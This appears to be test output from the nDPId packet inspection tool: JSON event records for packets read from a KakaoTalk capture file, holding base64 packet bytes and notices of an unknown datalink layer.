+00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2462,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00562{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2463,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":347480,"pkt_caplen":191,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":191,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAK8AAEAAQBHZ8woYUrwByQGuKBxaBgCb+raAbDOFfrGfQ1Sapdrt+AFBX1m9ZqhrpFCOBf0lFfOsZpOEya\/D9SlKd1tuGHvcyM55QBQBJyalufFJCQmrtqRdt5NzO4oziYMzLli8RX4aATBIjvM3rY4CjaBosF\/PaNTaD235ooOij9BWwhLaC8lffDtGAnoNGHexcx8oMiRBTPFE55ZUxyl8JsNcU5k1rxxWx1M="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2463,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2464,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":359229,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGUAAEAAHBH+FQHJAa4KGFK8WgYoHABRoLyAbFDvi0IBmguGVRnhasDTUxOEnocduGlgETmLYbMUlCt3Sc9nE3+PpaVWb+301hOwV0dlEOhX\/dqjjBOGXtvtxdKXH4Nuv+AO"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2464,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00610{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2465,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":379218,"pkt_caplen":226,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":226,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANIAAEAAHBH9qAHJAa4KGFK8WgYoHAC+MQuAbFDwi0IFWguGVRmR5O4GhVMQCFZkaJzGlBoEmuL3lMWV81kfvyheEhs5OE6dCU67Z\/W5uKP9tdfUH0BBtjmDfNRdHG9dojLALjAcrwtri1dzBc2hdLMNoGWzgwsB2J+yQDiqWC+TefkJxWWq\/A6xil1EFrKrSzQJ4erWSIBv73pNw8HYeoWf490Rq7pLfC55+Cfqeqly1xoaZQ6b82bmVDW4ArqU25g531hMhTM97DsQo7ULDQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2465,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2466,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":389105,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/iZCAbDN2frFnA1SapdrUIvWpY2aGvr\/5KmFtsSCZbmn0YLLWGUrpM3HNR3inDQidBiPEEM4qAkaz"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2466,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2467,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":407294,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/uc2AbDN3frFqw1Sapdp4lzc9YuBzX8ZVDe\/6uNIJW+a+zmosgiEbsjmOwzKOrGKnyQmK23i9LMSW"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2467,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00551{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2468,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":408179,"pkt_caplen":183,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":183,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKcAAEAAQBHZ+woYUrwByQGuKBxaBgCThAuAbDOGfrGjA1SapdpkqC\/mvIxOuX5n\/lr882A4iSosbA3WI2o5nRjqhGc0VG69KhQQORQYrTfzfdev\/K9Gotk2E0q2Dj8StF6ltbjSA2xjsvLtZ8nLI6CuZUbwogTfN5kzMwqu9qIyIAOYZzK7B5rpu2ohsX7p5mho9HgiTc2OYsZ+FBPBmS79lKmo"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2468,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00565{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2469,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":435797,"pkt_caplen":194,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":194,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALIAAEAAPxHa8AoYUrwByQGuLDhaBACenfOAbFEAi0JBWguGVRn8KXno7uu6a378Nd0pYK7Z4pbvhEohF5D7Rr5Bb5+uplBAbymd54yscyPqvqAhoSFR5DSJOHxORJD+1aPSGuyXrAqlUjp5BN1CGVdqFUDMVPfX9ATBgh3tu9okSd0Xa3Mw0JgTtmI\/gLfWdYJXU1PW1tBdAhmx3ELP9BzGByOZA60dUiyyO8sIPYU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2469,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00562{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2470,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":438636,"pkt_caplen":191,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":191,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAK8AAEAAPxHa8woYUrwByQGuLDhaBACbx3KAbFEBi0JFGguGVRnsSzyJuEc1N8joxjP3VYzegR6Kiyql59EmZXclUy6JkwqZeLw7zS502QTcbLZbL292Dm\/1MJxR5qH7GaV9JDSpNALf+7+qAobJZrTqETBXIX\/TsoLV8eitW49AiO06g4+10GBc1l0I2i9xSzdLsQ8hyI8bRrBiuMTBOjM52vubT9hmk2WaZeo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2470,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00538{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2471,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":444281,"pkt_caplen":174,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":174,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJ4AAEAAQBHaBAoYUrwByQGuKBxaBgCK+bKAbDOHfrGmw1SapdqZ7DpDYAPJi71TrnZcWl4ZUTqrkRUEgptgtrpMOA\/dVFqXIh9HC0nCO\/xgsQg3E7C1K3rF37XQgPO7R0uZeSF2YKcZQ1h7EQIEv9H67o2Y06rRAv2di4zX0fLc96pjCh49ZLX5VypBLsq120YlQ6TNjxXyhc9T"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2471,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00602{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2472,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":447333,"pkt_caplen":217,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":217,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMkAAEAAHBH9sQHJAa4KGFK8WgYoHAC18LKAbFDxi0IJGguGVRmTn0pMXjBsuJvk3jrU0KOfzZ\/sKCunV1Qs2JdMFAautyJMz0FkmyzF5zzJvY8RUUi7gAtSuLjaX2PK8MhcCeIKjzUounDNKg0DZxya\/Kiwp9FVsB4Mep4AoqZXaR+QZJG3i4yyk2Aos1z8d2Sz7DP\/wH2B3B+M668vCy\/0A\/9OxUND+Y06OAuFvAMsx06Ff\/JWUfUNaABg2a8QoCI1QHx1MA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2472,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00595{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2473,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":468543,"pkt_caplen":214,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":214,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMYAAEAAHBH9tAHJAa4KGFK8WgYoHACydw2AbFDyi0IM2guGVRneTjk0jotQ1UF2hvXdTuES\/9EHc7KHgKWrtge6tZM+Uj8yM8uEVv\/NrnM+EoDgiDHGf7j8F9+Uo8cWzZZEfiUxgaTtWflkUyR6cQaKSnNlvMrHuumHx6hHYevYfZO9DlxvyeGSK7eSfhtIch1888GpAy2k2OthvEKG6lpkOduq2INUmWO0Uc1ZR7FLPFNb4jrD\/B11YtWeCOdzt3sMBQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2473,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2474,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":488623,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/5CCAbDN4frFug1SapdrrJ7\/6FMNsCyOItmPBLp+gPA\/Ox2DeGj9emxQRDKRizctYo\/1CjodBWFQ5"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2474,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00541{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2475,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":521918,"pkt_caplen":177,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":177,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKEAAEAAQBHaAQoYUrwByQGuKBxaBgCNZUSAbDOIfrGqg1SapdoiJqHTYTmQeeCBt3Qyykj88js0zhR6mQzdA2NQfuQZDFXMq8C4Ii2fnBmNq+J0z7y87zC7\/BrCoQpT9VJ9c1YD2W1mQbyOlhIPOtcWdkCEGrNy61GXpXVklkhARnoHj0EykAgWuzQt0r8J+ZNa452L99AoHZZp2cTD"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2475,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00547{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2476,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":527808,"pkt_caplen":180,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKQAAEAAPxHa\/goYUrwByQGuLDhaBACQ2BeAbFECi0JI2guGVRn2xP7JqlHuxy25mNEUlOvyjYhssIJxB7chfzfXUZ2i5xEDXV\/hBDdRZArziNtJUBCmTfn8j\/1S78yGX0GyoSkp858Sf+gfumTrLVeU24IXNzEymJZXAGPwQFZohaodFv1RUTscr9jQU2XuSn5oQtYd7cerIc3XF9Uy3APz"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2476,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00620{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2477,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":527930,"pkt_caplen":229,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":229,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANUAAEAAHBH9pQHJAa4KGFK8WgYoHADB+TSAbFDzi0IQmguGVRnybYVnl4JMeNsE9M3xkvI75+\/GgtLx6Uh6NOlKZ3FjBfpyuGkAp25lXhXeQ2DO\/La4ZsdAGU8IXY3x8Z\/irueYrsYd+hMTzUCtqWFRGO+P4+Zecy539Qpt2Cb8fc3QGNKA0a+uEU94Gg67boLnDlIj\/dQe\/qHy4+y2Fdjh8JX\/TsAyVA0CCF1GiKZ82k6DiRxqmhaKGOcttuG\/SuThYhHrCtVq\/Wa6lUWAay1AIA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2477,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00574{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2478,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":529944,"pkt_caplen":199,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":199,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALcAAEAAPxHa6woYUrwByQGuLDhaBACjqAuAbFEDi0JMmguGVRm8OkZHQ+K8VE2MC2TQvKyF1X3nG\/8ML0EIHrgaplPEHXxKQWlGTQvWFKr6xMhgrUBTJXxsqHu2134kFKVl1xpnKAAHhwllC9Zxs22EnE7xAHCX1s\/UiSPbNUF8tYZCkYSEB+o8OdgZMRlzyTirYyQA9UX6D51bjqSBOG3dDNtYT2vAmOprAxu2DTjlaIEJBA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2478,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2479,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":549170,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/PwyAbDN5frFyQ1SapdokbaePz+OD767igueNg7hcd0BUcU8+riZdl2IQJTeMu6mZDch2siCXR7XS"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2479,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2480,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":549903,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/fAaAbDN6frF2A1SapdqZZBLZf\/uWYmjSqkmDLFzYhr9GKb03a6bxm4VSrJgMj2r0qfG+cob6SeR6"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2480,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00599{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2481,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":579810,"pkt_caplen":218,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":218,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMoAAEAAHBH9sAHJAa4KGFK8WgYoHAC2piiAbFD0i0IUWguGVRldDjO4ur7dfDHoXddo6y8YYOgIkBoh1KbnbpsOk9RmY3ZgHFMwPSUuSUF5sXfWGPV1sgkPhj0grss7DB1E3H\/tYuP2lpeiAQ9NNxcJYOw7UgjYJmOPMDhICoRiW4LSBBLGUVUvm6p\/bT+GSgoWzaYqTdXPlC7QUs3MIrSQaEiEBtXmSl5vS7S8ogjYEnw1uA\/lYKoBaCNtpg3uWQG1Bz2jaSQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2481,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00580{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2482,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":599311,"pkt_caplen":203,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":203,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALsAAEAAHBH9vwHJAa4KGFK8WgYoHACn9RCAbFD1i0IYGguGVRmsMlbnxc\/qs7A1btEFT+Jc6G6P8ADg2ocrt4xIRkhEhsXXeWq9oxXBlejOpv4z5XgSKXtbJpj\/dGCsn\/jYTtNmFlPEKYbKZuiNagdJD2xm6sndN\/74xu0ePmfKYz4475UW1IVqx660oABTDiBC0mUxRBs+fkDqmvTuR9KDC2DhNMzHN1r9j+3Qy+ScJgX3MA04CLQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2482,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00548{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2483,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":605872,"pkt_caplen":180,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKQAAEAAQBHZ\/goYUrwByQGuKBxaBgCQ1LOAbDOJfrGuQ1SapdrFVSNn5UH3ywm7uvR\/e6+9c20NFNs4Ab9TCBVICbSkBPILf49xAPderPb8cpvUqS2YfqMOELpQ2Qt6KbzAbh2qX5M\/dxPSWz9oNe6tPV2kqAzabQxafRHCfl3\/01UpUvsFm7M4PSPNjTqZ6rTXhhsWpEm4OM3wNtMQ8iUX"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2483,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2484,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":611548,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/rT6AbDN7frF5w1SapdpHdZS8WsAoqnZGieSQYGwyi66EovXUiL9HCKzzpnAFAY4JUpo4rPIFrNSC"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2484,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00570{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2485,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":636145,"pkt_caplen":197,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":197,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALUAAEAAPxHa7QoYUrwByQGuLDhaBAChpOeAbFEEi0JQWguGVRl3OJ20mhZJB\/bzWs6I8wbnxY4XhZCwKXPFMupAKpluO4y+rVBfv7588z9NAIzmW+43pDcZ+roQLwrLQfZSpFhEWlsep2oz5oaKN7BZCJ2e0sVD\/rTHjpauaEQKT1S3+4BkrbrNtlFx1IeS5YdNaiMiOLIPsUl5d9Z5x8bjzwDpLluMdpgZbkQBGX2xDwc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2485,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00575{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2486,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":643347,"pkt_caplen":199,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":199,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALcAAEAAQBHZ6woYUrwByQGuKBxaBgCj8uCAbDOKfrGyA1Sapdp\/ee01sGDYlVTvqoOHjGqLB8r4UOrigoIYcorAw0oayzNEpUJAPtQ0WEtaVa4Ifp9\/MsYpweDZfmqvTLF1wec3XQ1z7tvJj0l5X75kLu1dhxkUN6Uf1WAf4IGnMGyW9\/vi1oOKMDAzyT7LP1NvHO9ZOtaOGq82ae2h+mIJSevFo1dhcB63fAkqNISsmanPRg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2486,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2487,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":669104,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/g2SAbDN8frF9g1SapdoVUPtmgWBR4+UyTOoyshOvsz9UVccyJYhs2NHYFxAg8u6vORhFd0hDRvIn"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2487,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00553{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2488,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":669806,"pkt_caplen":185,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":185,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKkAAEAAHBH90QHJAa4KGFK8WgYoHACV+tGAbFD2i0Ib2guGVRmtVSHJhlYiKiydGcHjwYSpLvy3ekoF4yyvomolBkmYHwJMpACNiPwAyyknsWIA4wKiWE1qlEcJP+O2+nxgvVltz4PZatxi8lp9ioRhmr4rxMPFtlOZgsYHYVQ1uDZN0880zfzkC+\/trUfAFCdbIqXS4WBqBdR9G6OtjoSMllbIuLk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2488,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00532{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2489,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":679236,"pkt_caplen":171,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":171,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJsAAEAAHBH93wHJAa4KGFK8WgYoHACHMmqAbFD3i0IfmguGVRlA17HU1Y5JkXQR2iEu8C4nhCf3Xt6Yu34sGKRYLpn7E97A9uMQM5zxKxSHE8gpZC5X3O5T76V6pIzftE+gpQ2yQGp9aEoZO64QQvqXiPJsdrjTpHLgDtK0+kG3UTqaMqg5tRonFtJalrAmrQmWpF6+inUq"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2489,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2490,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":691626,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/wjKAbDN9frGBQ1Sapdq3g8\/BQ1bT65C4Oi\/YX\/LJMbjdbzwYfz1MugvKXPhYsuVPtw0m3qSaGEYb"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2490,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00483{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2491,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":699225,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHIAAEAAHBH+CAHJAa4KGFK8WgYoHABeUh6AbFD4i0IjWguGVRlZ\/DRhtkBkp\/0GZ4Bq\/zz+kUFnX5htEHNfK5WDJcAYZoXx7LtYgoK8i9qWHoBz7+Gg9t7w2t9dhs6m7LhrS6hagvLSR3lNx99h7g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2491,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00540{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2492,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":706397,"pkt_caplen":177,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":177,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKEAAEAAQBHaAQoYUrwByQGuKBxaBgCNVueAbDOLfrG1w1SapdrXnBoWl4o8j7nzHCptGEWRA6H+xAasbgF6KFmUPL9ubI+m2c6c5vLfxccHckeIacALvYeswQkIlIcY+hPHlKBqwyWIAHogEv0nhH+8y5wlVN0j0Okoaa83OIZA964vThQgwqEaCuW3pbGUaWnEcwahRNfVPlj4KK1u"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2492,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 